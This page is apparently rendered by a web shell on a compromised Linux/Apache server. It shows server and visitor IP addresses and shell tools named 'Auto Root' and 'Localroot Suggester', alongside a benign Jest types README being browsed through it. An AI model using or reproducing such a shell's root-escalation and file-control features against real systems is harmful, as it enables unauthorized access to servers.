Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
node-jest-types /
Delete
Unzip
Name
Size
Permission
Date
Action
README.md
949
B
-rw-r--r--
2023-12-13 10:07
copyright
6.36
KB
-rw-r--r--
2023-12-13 08:28
Save
Rename
# @jest/types This package contains shared types of Jest's packages. If you are looking for types of [Jest globals](https://jestjs.io/docs/api), you can import them from `@jest/globals` package: ```ts import {describe, expect, it} from '@jest/globals'; describe('my tests', () => { it('works', () => { expect(1).toBe(1); }); }); ``` If you prefer to omit imports, a similar result can be achieved installing the [@types/jest](https://npmjs.com/package/@types/jest) package. Note that this is a third party library maintained at [DefinitelyTyped](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/jest) and may not cover the latest Jest features. Another use-case for `@types/jest` is a typed Jest config as those types are not provided by Jest out of the box: ```ts // jest.config.ts import {Config} from '@jest/types'; const config: Config.InitialOptions = { // some typed config }; export default config; ```